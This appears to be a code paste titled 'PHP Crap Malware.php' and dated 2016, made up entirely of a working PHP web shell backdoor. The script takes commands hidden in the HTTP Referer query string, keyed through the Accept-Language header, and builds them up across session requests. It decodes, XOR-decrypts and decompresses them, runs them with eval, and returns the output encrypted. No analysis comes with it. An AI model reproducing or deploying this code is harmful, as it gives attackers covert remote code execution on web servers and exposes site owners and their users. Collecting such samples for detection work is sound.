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February 29, 2016 22:33
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PHP Crap Malware.php
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<?php | |
$kh="0123"; | |
$kf="26d5"; | |
function xor($t,$k){ | |
$c=strlen($k); | |
$l=strlen($t); | |
$o=""; | |
for($i=0;$i<$l;){ | |
for($j=0;($j<$c&&$i<$l);$j++,$i++){ | |
$o .= $t{$i}^$k{$j}; | |
} | |
} | |
return $o; | |
} | |
if($_SERVER["HTTP_REFERER"] && $_SERVER["HTTP_ACCEPT_LANGUAGE"]) { | |
$u = parse_url($_SERVER["HTTP_REFERER"]); | |
parse_str($u["query"], $q); | |
$q=array_values($q); | |
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$_SERVER["HTTP_ACCEPT_LANGUAGE"],$m); | |
if($q && $m){ | |
@session_start(); | |
$i=$m[1][0] . $m[1][1]; | |
$h=strtolower(substr(md5($i . "0123"),0,3)); | |
$f=strtolower(substr(md5($i . "26d5"),0,3)); | |
$p=""; | |
for($z=1;$z<count($m[1]);$z++) | |
$p .= $q[$m[2][$z]]; | |
if(strpos($p,$h)===0){ | |
$_SESSION[$i]=""; | |
$p=substr($p,3); | |
} | |
if(array_key_exists($i,$_SESSION)){ | |
$_SESSION[$i] .= $p; | |
$e=strpos($_SESSION[$i],$f); | |
if($e){ | |
$k="012326d5"; | |
ob_start(); | |
@eval( | |
@gzuncompress( | |
xor( | |
@base64_decode( | |
preg_replace(array("/_/","/-/"),array("/","+"),substr($_SESSION[$i],0,$e)) | |
),$k | |
) | |
) | |
); | |
$o=ob_get_contents(); | |
ob_end_clean(); | |
$d=base64_encode(xor(gzcompress($o),$k)); | |
print("<$k>$d</$k>"); | |
@session_destroy(); | |
} | |
} | |
} | |
} |
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